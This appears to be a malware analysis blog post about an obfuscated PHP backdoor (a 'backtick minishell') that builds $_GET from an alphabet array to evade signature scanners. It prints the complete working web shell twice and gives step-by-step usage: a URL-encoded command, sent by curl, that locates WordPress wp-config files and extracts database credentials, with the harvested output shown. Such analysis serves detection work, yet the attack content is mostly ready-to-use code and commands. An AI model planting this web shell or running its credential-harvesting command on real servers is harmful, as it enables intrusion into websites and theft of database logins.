Part 1

<?php
$_ = range("A","Z");
$_ = $_[6].$_[4].$_[19];
$_ = ${'_'.$_}['_'];
?>
<?=`$_`; ?>

Variant differences

Due to the obfuscation used to hide the use of the PHP superglobal $_GET this variant uses more code than the first version which I posted about.

$_GET instead of $_POST

Instead of sending data to the PHP backdoor using a HTTP POST request - it now uses a GET request.

This means the command you want to send to the PHP backdoor will be exposed in the GET request URI parameters:

::1 - - [13/May/2021:14:33:32 -0500] "GET /test/range.phtml?_=pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B+%7C+head+-n+15 HTTP/1.1" 200 613 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"

Obfuscation

The PHP superglobal $_GET is now obfuscated to make detection harder for signature based scanners.

The method of obfuscation is simple by just using concatenation and an alphabetic array, but it is effective:

$_ = range("A","Z");
$_ = $_[6].$_[4].$_[19];
$_ = ${'_'.$_}['_'];
  1. range function is used to create an array of the uppercase letters of the alphabet
[0] => A [1] => B [2] => C [3] => D [4] => E [5] => F [6] => G [7] => H [8] => I [9] => J [10] => K [11] => L [12] => M [13] => N [14] => O [15] => P [16] => Q [17] => R [18] => S [19] => T [20] => U [21] => V [22] => W [23] => X [24] => Y [25] => Z
  1. Construct the GET string for the PHP superglobal $_GET from the previously created array values.
// $_ = $_[6].$_[4].$_[19];
// [6] => G [4] => E [19] => T
$_ = GET;
  1. The PHP superglobal is completed by prepending $_ to the GET string constructed in the last step. Finally, the $_GET parameter is set to _ - so the data being sent to the backdoor will need to be in this URI parameter.
// $_ = ${'_'.$_}['_'];
$_ = $_GET['_'];

Using the backdoor

-Select the bash/sh command you want run on the web server

pwd;find ../../ -name "wp-config*" -ls -exec egrep "DB_" {} \;

-URL encode your command

pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B

-Submit a GET request to the PHP backtick minishell file (range.phtml) with the _ parameter containing the encoded command text

http://localhost/test/range.phtml?_=pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B
└──╼ # curl -s "http://localhost/test/range.phtml?_=pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B"
/var/www/html/test
 14298411      4 -rw-r--r--   1 www-data www-data     2884 May 13 14:28 ../../html/tmp/wordpress/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'root' );
define( 'DB_PASSWORD', 'hanowucantseeme!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
 14298198      4 -rwxr-xr-x   1 www-data www-data     2913 Aug 28  2020 ../../html/tmp/wordpress/wp-config-sample.php
define( 'DB_NAME', 'database_name_here' );
define( 'DB_USER', 'username_here' );
define( 'DB_PASSWORD', 'password_here' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
...

This command uses pwd to print out the current directory, find to recursively search for content with the name wp-config, and finally egrep to extract the SQL database login information from any content that was detected with the find command.

Browser doesn't HTML format the text output

As long as shell_exec is not disabled by the php.ini configuration file - commands available to the PHP user should get executed.

Another commonly used command is wget which will download additional malware from third party sources.

Sample


<?php
$_ = range("A","Z");
$_ = $_[6].$_[4].$_[19];
$_ = ${'_'.$_}['_'];
?>
<?=`$_`; ?>